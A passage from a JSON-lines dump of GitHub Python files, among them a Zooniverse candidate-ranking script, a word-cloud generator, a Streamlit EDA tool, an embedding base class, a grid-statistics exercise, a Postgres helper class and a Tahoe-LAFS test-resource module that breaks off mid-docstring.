\"old/supernova-sighting-caesar-reduction-withlabels.csv\"\n# if not\n#reduction_file_old = \"\"\n\nworkflow_id = 3638\nworkflow_version = 16.22\n\n# get workflow info, particularly labels to answers in task T0\n# (which is what we care about for this project)\nworkflow_df = pd.read_csv(workflows_infile)\nworkflow_cdf = pd.read_csv(workflow_contents_infile)\nworkflow_info = get_workflow_info(workflow_df, workflow_cdf, workflow_id, workflow_version)\n\n# In [8]: workflow_info\n# Out[8]:\n# {u'T0': {u'answers': [{u'label': u'Yes',\n# 'label_slug': u't0_is_there_a_candi___righthand_image_a0_yes',\n# u'next': u'T1'},\n# {u'label': u'No',\n# 'label_slug': u't0_is_there_a_candi___righthand_image_a1_no',\n# u'next': u''}],\n# u'help': '',\n# u'question': u'Is there a candidate (a circular-like white spot) centered in the crosshairs of the left and right-hand image?',\n# 'question_slug': u't0_is_there_a_candi___righthand_image',\n# u'required': True,\n# u'type': u'single'},\n# 'first_task': 'T0',\n# 'tasknames': [u'T0']}\n#\n# In [13]: workflow_info[\"T0\"][\"answers\"][0][\"label\"]\n# Out[13]: u'Yes'\n\nreduction_raw = pd.read_csv(reduction_infile)\n\n# In[16]: reduction_raw.columns\n\n# Out[16]:\n# Index([u'id', u'reducer_key', u'workflow_id', u'subject_id', u'created_at',\n# u'updated_at', u'subgroup', u'lock_version', u'store', u'expired',\n# u'data.most_likely', u'data.agreement', u'data.num_votes'],\n# dtype='object')\n\ncols_in = reduction_raw.columns.values\ncols_out = [w.replace('store', 'store_labeled').replace('data.most_likely', 'data.most_likely_labeled') for w in cols_in]\n\nworkflow_answers = workflow_info[\"T0\"][\"answers\"]\n\nreduction_raw['store_json'] = [ujson.loads(q) for q in reduction_raw['store']]\nreduction_raw['store_labeled'] = [translate_store(q, workflow_answers) for q in reduction_raw['store_json']]\n\nreduction_raw['data.most_likely_labeled'] = [translate_mostlikely(q, workflow_answers) for q in reduction_raw['data.most_likely']]\n\n\n\n# read subjects and only keep rows relevant to this workflow and reduced dataset\nsubjects_all = pd.read_csv(subject_infile)\nsubjects = subjects_all[subjects_all.workflow_id == workflow_id].copy()\nsubject_ids_relevant = reduction_raw.subject_id.unique()\nsubjects_relevant = subjects[subjects['subject_id'].isin(subject_ids_relevant)].copy()\n\n# prep the metadata to be extracted into columns\nsubjects_relevant['metadata_json_flat'] = [flattenDict(ujson.loads(q)) for q in subjects_relevant.metadata]\nsubjects_relevant['image_url'] = [(ujson.loads(q))['0'] for q in subjects_relevant.locations]\nmeta_cols = pd.DataFrame([get_meta_cols(q) for q in subjects_relevant['subject_id metadata_json_flat'.split()].iterrows()])\n\n# combine subjects with new columns, making sure to match on subject ID\nsubjects_meta = subjects_relevant.merge(meta_cols, on='subject_id', how='left', suffixes=('', '_2'))\n\n# In [101]: subjects_meta.columns\n# Out[101]:\n# Index([ u'subject_id', u'project_id',\n# u'workflow_id', u'subject_set_id',\n# u'metadata', u'locations',\n# u'classifications_count', u'retired_at',\n# u'retirement_reason', u'metadata_json_flat',\n# u'image_url', u'CandidateID',\n# u'name'],\n# dtype='object')\n#\n\nmeta_cols_out = subjects_meta.columns.values.tolist()\nmeta_cols_out.remove('metadata')\nmeta_cols_out.remove('metadata_json_flat')\nmeta_cols_out.remove('workflow_id')\nmeta_cols_out.remove('locations')\n\nreduction_withsubj = reduction_raw[cols_out].merge(subjects_meta[meta_cols_out], how='left', on='subject_id', suffixes=('', '_2'))\n\nreduction_withsubj['subj_link_zooniverse'] = [\"https://www.zooniverse.org/projects/skymap/supernova-sighting/talk/subjects/%d\" % q for q in reduction_withsubj.subject_id]\n\nreduction_withsubj['skymapper_link'] = [\"https://www.mso.anu.edu.au/skymapper/smt/transients/%s/\" % q for q in reduction_withsubj.CandidateID]\n\nreduction_withsubj.set_index('id', inplace=True)\nreduction_withsubj.sort_values(['data.most_likely_labeled', 'data.agreement'], ascending=False, inplace=True)\n#DataFrame.sort_values(by, axis=0, ascending=True, inplace=False, kind='quicksort', na_position='last')\nreduction_withsubj.to_csv(reduction_outfile)\n\nprint(\"Output file written to %s .\" % reduction_outfile)\n\n# compare with earlier reduction and save a file with only subjects that have new information\nif len(reduction_file_old) > 1:\n reductions_old = pd.read_csv(reduction_file_old)\n # if it only had a few classifications before let's still count it\n reductions_old_complete = reductions_old[reductions_old.classifications_count >= 20]\n subj_old = reductions_old_complete.subject_id.unique()\n reduction_new_withsubj = reduction_withsubj[np.invert(reduction_withsubj.subject_id.isin(subj_old))].copy()\n\n reduction_new_outfile = reduction_outfile.replace(\".csv\", \"_NEWONLY.csv\")\n # make sure you're not going to overwrite\n if reduction_outfile == reduction_new_outfile:\n reduction_new_outfile = \"%s_NEWONLY.csv\" % reduction_outfile\n\n reduction_new_withsubj.to_csv(reduction_new_outfile)\n\n print(\"Output file with ONLY NEW subjects written to %s .\" % reduction_new_outfile)\n\n\n\n\n#booya\n","repo_name":"zooniverse/Data-digging","sub_path":"scripts_ProjectExamples/supernova-sighting/from_caesar_rank_candidates.py","file_name":"from_caesar_rank_candidates.py","file_ext":"py","file_size_in_byte":7273,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"22"} +{"seq_id":"38616938228","text":"import sys\nimport demoji\nimport pandas as pd\nfrom janome.tokenizer import Tokenizer\nimport re\nfrom wordcloud import WordCloud, STOPWORDS\nfrom PIL import Image\nfrom matplotlib import rcParams,cm\nimport collections\nfrom collections import Counter, defaultdict\n\ndef get_word_str(text):\n \n t = Tokenizer()\n token = t.tokenize(text)\n word_list = []\n \n for line in token:\n tmp = re.split('\\t|,', str(line))\n # 名詞のみ対象\n if tmp[1] in [\"名詞\"]:\n # さらに絞り込み\n if tmp[2] in [\"一般\", \"固有名詞\"]:\n word_list.append(tmp[0])\n\n return \" \" . join(word_list)\n\ndef output_wordcloud(plane_text:str, font_path:str, filepath:str, bgcolor:str, colormap:str):\n \"\"\"プレーンのテキストからワードクラウドを作成する\n\n Args:\n plane_text (str): プレーンテキスト\n font_path (str): フォントファイルのパス\n filepath (str): 出力先ファイルパス\n bgcolor(str) : 背景色\n colormap(str):カラーマップ\n \"\"\"\n\n # 文字列の取得\n text = get_word_str(plane_text)\n\n # 除外するワード\n stopwords = set(STOPWORDS)\n stopwords.add(\"https\")\n stopwords.add(\"tco\")\n stopwords.add(\"t\")\n stopwords.add(\"co\")\n stopwords.add(\"amp\")\n\n # WordCloudの作成\n wordcloud = WordCloud(background_color=bgcolor, font_path=font_path, stopwords=stopwords,\\\n width=900, height=500, collocations=False, colormap=colormap).generate(text)\n\n # ファイル出力\n wordcloud.to_file(filepath)\n\n return text\n\ndef remove_emoji(src_str):\n \"\"\"絵文字の削除処理\n\n Args:\n src_str (string): 元の文字列\n\n Returns:\n string: 絵文字を取り除いた文字列\n \"\"\"\n return demoji.replace(string=src_str, repl=\"\")\n\nif __name__ == '__main__':\n \"\"\"ワードクラウドの画像を生成する\n\n Args:\n args[1]: 入力ファイルパス\n args[2]: フォントファイルのパス.ttf\n args[3]: 背景色\n args[4]: カラーマップ\n args[5]: 出力ファイルパス1(WordCloud画像ファイル)\n args[6]: 出力ファイルパス2(resultファイル(.xlsx))\n\n \"\"\"\n\n args = sys.argv\n\n input_file_path = args[1]\n font_path = args[2]\n bgcolor = str(args[3])\n colormap = str(args[4])\n path1 = str(args[5])\n path2 = str(args[6])\n\n # デバッグ用\n print('--- 引数 ---')\n print(input_file_path)\n print(font_path)\n print(bgcolor)\n print(colormap)\n print(path1)\n print(path2)\n\n # 絵文字コードの取得\n demoji.download_codes()\n\n f = open(input_file_path, 'r', encoding='utf-8')\n plane_text = f.read()\n f.close()\n\n # url関連は予め取り除いておく\n plane_text = re.sub(r\"(https?|ftp)(:\\/\\/[-_\\.!~*\\'()a-zA-Z0-9;\\/?:\\@&=\\+\\$,%#]+)\", \"\" ,plane_text)\n plane_text = plane_text.replace(\"tco\",\"\")\n plane_text = plane_text.replace(\"RT\",\"\")\n plane_text = plane_text.replace(\"amp\",\"\")\n\n # 絵文字を取り除いておく\n plane_text = remove_emoji(plane_text)\n\n # ワードクラウドデータの出力\n result = output_wordcloud(plane_text, font_path, path1, bgcolor, colormap)\n result = result.split(\" \")\n result = collections.Counter(result).most_common()\n\n # データフレームを作成\n pd.DataFrame(result).to_excel(path2,sheet_name='data')\n","repo_name":"zeikomi552/ZeikomiWordCloud","sub_path":"ZeikomiWordCloud/ZeikomiWordCloud/Common/Python/exec_wordcloud.py","file_name":"exec_wordcloud.py","file_ext":"py","file_size_in_byte":3448,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33862597263","text":"import os\r\nimport streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib\r\nimport seaborn as sns\r\n\r\n \r\ndef main():\r\n st.title('Perform EDA with ease...')\r\n\r\n def file_select(folder='./datasets'):\r\n filelist=os.listdir(folder)\r\n selectedfile=st.selectbox('select a default file',filelist)\r\n return os.path.join(folder,selectedfile)\r\n\r\n\r\n if st.checkbox('Select dataset from local machine'):\r\n data=st.file_uploader('Upload Dataset in .CSV',type=['CSV'])\r\n if data is not None:\r\n df=pd.read_csv(data)\r\n else:\r\n filename=file_select()\r\n st.info('You selected {}'.format(filename))\r\n if filename is not None:\r\n df=pd.read_csv(filename)\r\n #show data\r\n if st.checkbox('Show Dataset'):\r\n num=st.number_input('No. of Rows',5,10)\r\n head=st.radio('Select Head/Tail',('Head','Tail'))\r\n if head=='Head':\r\n st.dataframe(df.head(num))\r\n else:\r\n st.dataframe(df.tail(num))\r\n \r\n #show columns\r\n if st.checkbox('Columns'):\r\n st.write(df.columns)\r\n #show shape\r\n if st.checkbox('Shape'):\r\n st.text('(Rows,Columns)')\r\n st.write(df.shape)\r\n \r\n #select columns\r\n if st.checkbox('Select Columns to show'):\r\n collist=df.columns.tolist()\r\n selcols=st.multiselect(\"Select\",collist)\r\n newdf=df[selcols]\r\n st.dataframe(newdf)\r\n #unique values\r\n if st.checkbox('Unique Values'):\r\n st.dataframe(df.nunique())\r\n selectedcol=st.selectbox('Select column to see unique values',df.columns.tolist())\r\n st.write(df[selectedcol].unique())\r\n #data type\r\n if st.checkbox('Data Types'):\r\n st.dataframe(df.dtypes)\r\n #chech for nul values\r\n if st.checkbox('Null values'):\r\n st.dataframe(df.isnull().sum()) \r\n st.write(sns.heatmap(df.isnull(),yticklabels=False,cbar=False,cmap='viridis'))\r\n st.pyplot()\r\n #show summary\r\n if st.checkbox('Summary/Describe'):\r\n st.write(df.describe())\r\n\r\n #plot and viz.\r\n st.header('Data Visualization with Seaborn')\r\n #seaborn correlation plot\r\n if st.checkbox('Correlation plot'):\r\n st.write(sns.heatmap(df.corr(),annot=True))\r\n st.pyplot()\r\n #univariate distribution\r\n if st.checkbox('Univariate Distribution'):\r\n cols=df.columns.tolist()\r\n plottype=st.selectbox('Select plot type',['dist','hist'])\r\n selectedcol=st.selectbox('Select columns to plot',cols)\r\n binnum=st.number_input('No. of bins',10,50)\r\n st.write(sns.distplot(df[selectedcol],bins=binnum))\r\n st.pyplot()\r\n #bivariate distribution\r\n if st.checkbox('Bivariate Distribution'):\r\n cols=df.columns.tolist()\r\n plottype=st.selectbox('Select plot type',['scatterplot','jointplot'])\r\n st.text('Select two columns')\r\n x=st.selectbox('Select X-axis column to plot',cols)\r\n y=st.selectbox('Select Y-axis column to plot',cols)\r\n kindtype=st.selectbox('Select plot kind',['none','reg','resid','hex','kde'])\r\n if kindtype!='none':\r\n st.write(sns.jointplot(df[x],df[y],kind=kindtype))\r\n st.pyplot()\r\n else:\r\n st.write(sns.jointplot(df[x],df[y]))\r\n st.pyplot()\r\n #pair wise plot\r\n if st.checkbox('Pair Plot'):\r\n cols=df.columns.tolist()\r\n cols.insert(0,'none')\r\n selectedcollist=st.multiselect('Select columns to plot',cols)\r\n hueval=st.selectbox('Select a hue column',cols)\r\n if hueval!='none':\r\n st.write(sns.pairplot(df[selectedcollist],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.pairplot(df[selectedcollist]))\r\n st.pyplot()\r\n \r\n #categorical plots\r\n if st.checkbox('Categorical Scatterplots'):\r\n cols=df.columns.tolist()\r\n cols.insert(0,'none')\r\n plottype=st.selectbox('Select plot type',['stripplot','swarmplot'])\r\n x=st.selectbox('Select X-axis(categorical) column to plot',cols)\r\n y=st.selectbox('Select Y-axis(numericall) column to plot',cols)\r\n hueval=st.selectbox('Select a hue column(categorical)',cols)\r\n if plottype=='stripplot':\r\n if x!='none' and hueval!='none':\r\n st.write(sns.stripplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n elif x!='none' and hueval=='none':\r\n st.write(sns.stripplot(df[x],df[y]))\r\n st.pyplot()\r\n else:\r\n if x!='none' and hueval!='none':\r\n st.write(sns.swarmplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n elif x!='none' and hueval=='none':\r\n st.write(sns.swarmplot(df[x],df[y]))\r\n st.pyplot()\r\n #categorical distributions\r\n if st.checkbox('Categorical Distributions'):\r\n cols=df.columns.tolist()\r\n cols.insert(0,'none')\r\n plottype=st.selectbox('Select plot type',['box','bar','violin','count','point','factor'])\r\n x=st.selectbox('Select X-axis(catrogrical) column to plot',cols)\r\n y=st.selectbox('Select Y-axis(numerical) column to plot',cols)\r\n hueval=st.selectbox('Select a hue column',cols)\r\n #box plot\r\n if plottype=='box':\r\n if hueval!='none':\r\n st.write(sns.boxplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.boxplot(df[x],df[y]))\r\n st.pyplot()\r\n #bar plot\r\n if plottype=='bar':\r\n if hueval!='none':\r\n st.write(sns.barplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.barplot(df[x],df[y]))\r\n st.pyplot()\r\n \r\n #violin plot\r\n if plottype=='violin':\r\n if hueval!='none':\r\n st.write(sns.violinplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.violinplot(df[x],df[y]))\r\n st.pyplot()\r\n #count plot\r\n if plottype=='count':\r\n st.text('Plotting countplot for selected X column')\r\n if hueval!='none':\r\n st.write(sns.countplot(df[x],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.countplot(df[x]))\r\n st.pyplot()\r\n \r\n #point plot\r\n if plottype=='point':\r\n if hueval!='none':\r\n st.write(sns.pointplot(df[x],df[y],hue=df[hueval]))\r\n st.pyplot()\r\n else:\r\n st.write(sns.pointplot(df[x],df[y]))\r\n st.pyplot()\r\n\r\n #factor plot\r\n if plottype=='factor':\r\n typekind=st.selectbox('Select plottype for factor for plot',['point','bar','box','violin','strip','swarm'])\r\n colm=st.selectbox('Select column(col) parameter',cols)\r\n rows=st.selectbox('Select(only if col is selected) column(row) parameter',cols)\r\n if hueval!='none':\r\n if colm!='none' and rows!='none':\r\n st.write(sns.factorplot(x=x,y=y,hue=hueval,col=colm,row=rows,data=df,kind=typekind))\r\n st.pyplot()\r\n elif colm!='none' and rows=='none':\r\n st.write(sns.factorplot(x=x,y=y,hue=hueval,col=colm,data=df,kind=typekind))\r\n st.pyplot()\r\n else:\r\n if colm!='none' and rows!='none':\r\n st.write(sns.factorplot(x=x,y=y,col=colm,row=rows,data=df,kind=typekind))\r\n st.pyplot()\r\n elif colm!='none' and rows=='none':\r\n st.write(sns.factorplot(x=x,y=y,col=colm,data=df,kind=typekind))\r\n st.pyplot()\r\n\r\n\r\n #linear relationship\r\n if st.checkbox('Linear Relationship'):\r\n cols=df.columns.tolist()\r\n cols.insert(0,'none')\r\n xval=st.selectbox('Select X-axis',cols)\r\n yval=st.selectbox('Select Y-axis',cols)\r\n hueval=st.selectbox('Select hue column',cols)\r\n if hueval!='none':\r\n st.write(sns.lmplot(x=xval,y=yval,hue=hueval,data=df))\r\n st.pyplot()\r\n else:\r\n st.write(sns.lmplot(x=xval,y=yval,data=df))\r\n st.pyplot()\r\n\r\n###########\r\n\r\n st.subheader('Customizable plots')\r\n cols=df.columns.tolist()\r\n plottype=st.selectbox('Select plot type',['bar','hist','box','area','line','kde'])\r\n selectedcollist=st.multiselect('Select columns to plot',cols)\r\n\r\n if st.button('Generate plot'):\r\n st.success('Generating customizable {} plot for {}'.format(plottype,selectedcollist))\r\n #plot using streamlit\r\n if plottype=='area' :\r\n cusdata=df[selectedcollist]\r\n st.area_chart(cusdata)\r\n elif plottype=='bar' :\r\n cusdata=df[selectedcollist]\r\n st.bar_chart(cusdata)\r\n elif plottype=='line' :\r\n cusdata=df[selectedcollist]\r\n st.line_chart(cusdata)\r\n elif plottype :\r\n cusplot=df[selectedcollist].plot(kind=plottype)\r\n st.write(cusplot)\r\n st.pyplot()\r\n\r\n if st.button('See who created this!'):\r\n st.subheader('Project developed by:')\r\n st.info('Name: K Vikas Reddy')\r\n st.info('College: SASTRA Deemed to be University')\r\n st.info('Gmail: reddyvikas995@gmail.com')\r\n\r\n if st.button('Thanks'):\r\n st.balloons()\r\n st.text('')\r\n st.text('')\r\n st.warning('Please report bugs if any and suggest any new features')\r\n if st.checkbox('About this project'):\r\n st.write('Exploratory Data Analysis is the first step every Data Scientist does in every project.') \r\n st.write('I saw many people groan to perform EDA. It is because of the same scripts written over and over for every project.')\r\n st.write('If you also felt the same, then this project is for you. This project helps you perform EDA with ease.')\r\n st.write('You dont need to write any scripts. EDA can be performed with just few clicks. It is also very time efficient.')\r\n st.write('As Data Science is becoming very popular, Data Science aspirants should also become smart and productive.')\r\n st.write('Hope this project helps you to some extent.')\r\n\r\nif __name__=='__main__':\r\n main()\r\n\r\n ","repo_name":"VIKASREDDY6/Exploratory-Data-Analysis-Tool","sub_path":"edawithease.py","file_name":"edawithease.py","file_ext":"py","file_size_in_byte":10465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"34866112694","text":"\"\"\"Base embeddings.\"\"\"\nimport logging\nfrom typing import Dict\n\nimport torch\nimport torch.nn as nn\n\nfrom bootleg import log_rank_0_info\nfrom bootleg.utils import model_utils\n\nlogger = logging.getLogger(__name__)\n\n\nclass EntityEmb(nn.Module):\n \"\"\"Base embedding that all embedding classes extend.\n\n If an embedding should be preprocessed in prep phase or in the __get_item__ of the dataset, it must\n\n - define self.kg_adj_process_func in the init\n - set batch_on_the_fly: True in config to be processed in prep\n - access the prepped embedding in the forward by batch_on_the_fly_data by the embedding key\n\n Args:\n main_args: main args\n emb_args: specific embedding args\n entity_symbols: entity symbols\n key: unique embedding key\n cpu: bool of if one cpu or not\n normalize: bool if normalize embeddings or not\n dropout1d_perc: 1D dropout percent\n dropout2d_perc: 2D dropout percent\n \"\"\"\n\n def __init__(\n self,\n main_args,\n emb_args,\n entity_symbols,\n key,\n cpu,\n normalize,\n dropout1d_perc,\n dropout2d_perc,\n ):\n super(EntityEmb, self).__init__()\n self.key = key\n self.cpu = cpu\n self.normalize = normalize\n self.dropout1d_perc = dropout1d_perc\n self.dropout2d_perc = dropout2d_perc\n assert not (\n self.dropout1d_perc > 0 and self.dropout2d_perc > 0\n ), f\"You have both 1D and 2D dropout set to be > 0. You can only have one.\"\n self.from_pretrained = (\n main_args.model_config.model_path is not None\n and len(main_args.model_config.model_path) > 0\n )\n\n def forward(\n self,\n entity_cand_eid: torch.LongTensor,\n batch_on_the_fly_data: Dict[str, torch.Tensor],\n ) -> torch.Tensor:\n \"\"\"Model forward.\n\n Args:\n entity_cand_eid: entity candidate EIDs (B x M x K)\n batch_on_the_fly_data: dict of batch on the fly embeddings\n\n Returns: B x M x K x dim embedding\n \"\"\"\n raise ValueError(\"Not implemented\")\n\n def get_dim(self):\n \"\"\"Gets the output dimension of the embedding.\"\"\"\n raise ValueError(\"Not implemented\")\n\n def get_key(self):\n \"\"\"Gets the unique key of the embedding.\"\"\"\n return self.key\n\n def normalize_and_dropout_emb(self, embedding: torch.Tensor) -> torch.Tensor:\n \"\"\"Whether to normalize and dropout embedding.\n\n Args:\n embedding: embedding\n\n Returns: adjusted embedding\n \"\"\"\n if self.dropout1d_perc > 0:\n embedding = model_utils.emb_1d_dropout(\n self.training, self.dropout1d_perc, embedding\n )\n elif self.dropout2d_perc > 0:\n embedding = model_utils.emb_2d_dropout(\n self.training, self.dropout2d_perc, embedding\n )\n # We enforce that self.normalize is instantiated inside each subclass\n if self.normalize is True:\n embedding = model_utils.normalize_matrix(embedding, dim=-1)\n return embedding\n\n def freeze_params(self):\n \"\"\"Freezes the parameters of the module.\n\n Returns:\n \"\"\"\n for name, param in self.named_parameters():\n param.requires_grad = False\n log_rank_0_info(logger, f\"Freezing {name}\")\n return\n\n def unfreeze_params(self):\n \"\"\"Unfreezes the parameters of the module.\n\n Returns:\n \"\"\"\n for name, param in self.named_parameters():\n param.requires_grad = True\n log_rank_0_info(logger, f\"Unfreezing {name}\")\n return\n","repo_name":"onirban/bootleg","sub_path":"bootleg/embeddings/base_emb.py","file_name":"base_emb.py","file_ext":"py","file_size_in_byte":3676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"22"} +{"seq_id":"31548654049","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# The following script uses a class to calculates a statistics based\n# on a predefined 2-dimensional array (grid)\n# SKILLS:\n# 1. using a numpy array \n# 2. defining functions\n# 3. using functions\n# Author: Cole Anderson\n#------------------ Modules loaded -----------------\nimport numpy as np\nimport csv\n#outer directory and list of CSVs for program\nDirectory = r\"C:\\Users\\Cole\\Documents\\GitHub\\lab3-and04671\"\nCSVs = [r\"\\random_values\",r\"\\one_zero\"]\n\n\n# In[26]:\n\n\n#-------------Functions Loaded---------------------------------------------\ndef RowStatistics(InputGrid,row):\n \"\"\"returns stats for the desired numpy row object\"\"\"\n theRow = InputGrid[row,:]\n return(getArrayStats(theRow))\ndef ColStatistics(InputGrid,col):\n \"\"\"returns stats for the desired numpy column object\"\"\"\n theCol = InputGrid[:,col]\n return(getArrayStats(theCol)) \ndef getArrayStats(Array):\n \"\"\"this is called from the other functions to execute and return stats\"\"\"\n return(\"sum:\",np.sum(Array),\"average:\",np.average(Array),\"standard dev:\",np.std(Array)) \ndef changeCellValue(InputGrid,row,column,newvalue):\n '''this function will find and replace a value at an index with another'''\n##'This function will allow you to change a cell value'\n InputGrid[row,column] = newvalue\n\n\n# In[27]:\n\n\n##script for finding desired row/column in files\ndesiredRow = 7\ndesiredColumn = 6\n##-------------------------------------------\n#will find row/col stats for both files\nfor CSV in CSVs:\n #combine path and create list from CSV\n completePath = Directory + CSV +\".csv\" \n with open(completePath, \"r\") as csvFile:\n listFromCSV = list(csv.reader(csvFile))\n #create array from list\n gridFromList = np.array(listFromCSV, dtype=np.float)\n #optional change value call\n #changeCellValue(gridFromList,3,5,1)\n #print stats\n print(\"File:\", CSV)\n print(\" Row Statistics for row\",desiredRow,\":\",RowStatistics(gridFromList,desiredRow))\n print(\" Column Statistics for column\",desiredColumn,\":\", ColStatistics(gridFromList,desiredColumn))\n\n\n# In[28]:\n\n\n#similar to above. opens all CSVs and converts them to array, then finds stats for whole file\nfor CSV in CSVs:\n completePath = Directory + CSV +\".csv\" \n with open(completePath, \"r\") as csvFile:\n listFromCSV = list(csv.reader(csvFile))\n #listFromCSV = [[2,3,5],[1,2,6],[3,4,2]]\n gridFromList = np.array(listFromCSV, dtype=np.float)\n print(completePath,\"\\ninitial stats:\",getArrayStats(gridFromList))\n#--------------------------------------------\n#this should count all the eights, and replace all 8s in the grid with 2\n print(\"number of eights in array:\", np.count_nonzero(gridFromList==8))\n gridFromList[gridFromList==8] = 2\n print(\"all eights are now twos\")\n \n #stuff I tried\n #x = np.where(gridFromList == 8)\n #print(x)\n #if (len(x[0]) or len(x[1]))==0:\n # print(\"yikes, no eights\")\n #continue\n #else:\n #for each in x:\n # print(each)\n #print([0])\n #changeCellValue(gridFromList,eights[0],eights[1],2)\n#-------------------------------------------- \n #prints the new array stats after replacement\n print(\"new statistics:\",getArrayStats(gridFromList),\"\\n\")\n \n\n","repo_name":"and04671/5578Files","sub_path":"Lab3/Grid Function for Grading.py","file_name":"Grid Function for Grading.py","file_ext":"py","file_size_in_byte":3353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"39070351349","text":"from os import environ, path\n\nimport psycopg2\nfrom dotenv import load_dotenv\nfrom psycopg2.extras import execute_batch\n\n\nclass PostgresManager:\n __conn = None\n\n def config(self):\n load_dotenv(dotenv_path=path.join(path.dirname(__file__), \"..\", \"..\", \".env\"))\n db = [\n environ.get(\"HOST\"),\n environ.get(\"DATABASE\"),\n environ.get(\"UNAME\"),\n environ.get(\"PASSWORD\"),\n ]\n return db\n\n def __connect(self):\n params = self.config()\n self.__conn = psycopg2.connect(\n host=params[0], database=params[1], user=params[2], password=params[3]\n )\n\n def __cursor(self):\n self.__connect()\n return self.__conn.cursor()\n\n def __closeCursor(self):\n self.__conn.cursor().close()\n\n def __closeConn(self):\n self.__conn.close()\n\n def __commit(self):\n self.__conn.commit()\n\n def cursor(self):\n return self.__cursor()\n\n def insert(self, sql):\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(sql)\n self.__commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n\n def insertAndReturnId(self, sql, tuple):\n id = None\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(sql, tuple)\n id = cursor.fetchone()[0]\n self.__commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n return id\n\n def findOne(self, sql):\n rs = None\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(sql)\n rs = cursor.fetchone()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n return rs\n\n def fetchAll(self, sql):\n rs = None\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(sql)\n rs = cursor.fetchall()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n return rs\n\n def update(self, update, pair, tweets):\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(\"PREPARE updateStmt AS \" + update)\n execute_batch(cursor, \"EXECUTE updateStmt \" + pair, tweets, 100)\n cursor.execute(\"DEALLOCATE updateStmt\")\n self.__commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n\n def delete(self, table, condition):\n try:\n self.__connect()\n cursor = self.__cursor()\n cursor.execute(\"DELETE FROM \" + table + \" WHERE \" + condition)\n self.__commit()\n except (Exception, psycopg2.DatabaseError) as error:\n print(error)\n finally:\n if self.__conn is not None:\n self.__closeCursor()\n self.__closeConn()\n","repo_name":"gustavomoser/ftd-tfidf-we","sub_path":"src/db/PostgresManager.py","file_name":"PostgresManager.py","file_ext":"py","file_size_in_byte":3675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"15213494376","text":"\"\"\"\n``testresources``-style resources.\n\"\"\"\n\nfrom subprocess import Popen, check_output\nfrom sys import executable\nfrom tempfile import mkdtemp\nfrom time import sleep\nfrom typing import Iterable, Optional\n\nfrom allmydata.client import config_from_string\nfrom attrs import define\nfrom hyperlink import DecodedURL\nfrom testresources import TestResourceManager\nfrom twisted.python.filepath import FilePath\nfrom yaml import safe_dump\n\nfrom ..config import Config\n\n# An argv prefix to use in place of `tahoe` to run the Tahoe-LAFS CLI. This\n# runs the CLI via the `__main__` so that we don't rely on `tahoe` being in\n# `PATH`.\nTAHOE = [executable, \"-m\", \"allmydata\"]\n\n# A plausible value for the ``retry`` parameter of ``wait_for_path``.\nRETRY_DELAY = [0.3] * 100\n\n\nclass TemporaryDirectoryResource(TestResourceManager):\n def make(self, dependency_resources):\n return FilePath(mkdtemp())\n\n def isDirty(self):\n # Can't detect when the directory is written to, so assume it\n # can never be reused. We could list the directory, but that might\n # not catch it being open as a cwd etc.\n return True\n\n\ndef read_text(path: FilePath) -> str:\n \"\"\"\n Read and decode some ASCII bytes from a file, stripping any whitespace.\n \"\"\"\n return path.getContent().decode(\"ascii\").strip()\n\n\ndef wait_for_path(path: FilePath, retry: Iterable[float] = RETRY_DELAY) -> None:\n \"\"\"\n Wait for a file to exist at a certain path for a while.\n\n :raise Exception: If it does not exist by the end of the retry period.\n \"\"\"\n total: float = 0\n for delay in retry:\n if path.exists():\n return\n sleep(delay)\n total += delay\n raise Exception(\n \"expected path {!r} did not appear for {!r} seconds\".format(\n path.path,\n total,\n ),\n )\n\n\ndef setup_exit_trigger(node_dir: FilePath) -> None:\n \"\"\"\n Touch the Tahoe-LAFS exit trigger path beneath the given node directory.\n\n This will make sure that if we fail to clean up the node process it won't\n hang around indefinitely. When the node starts up and sees this file, it\n will begin checking it periodically and exit if it is ever older than 2\n minutes. Our tests should take less than 2 minutes so we don't even\n bother to update the mtime again. If we crash somewhere then at least the\n node will exit no more than 2 minutes later.\n \"\"\"\n node_dir.child(\"exit_trigger\").touch()\n\n\n@define\nclass TahoeStorage:\n \"\"\"\n Provide a basic interface to a Tahoe-LAFS storage node child process.\n\n :ivar node_dir: The path to the node's directory.\n\n :ivar create_output: The output from creating the node.\n\n :ivar process: After the node is started, a handle on the child process.\n\n :ivar node_url: After the node is started, the root of the node's web API.\n\n :ivar storage_furl: After the node is started, the node's storage 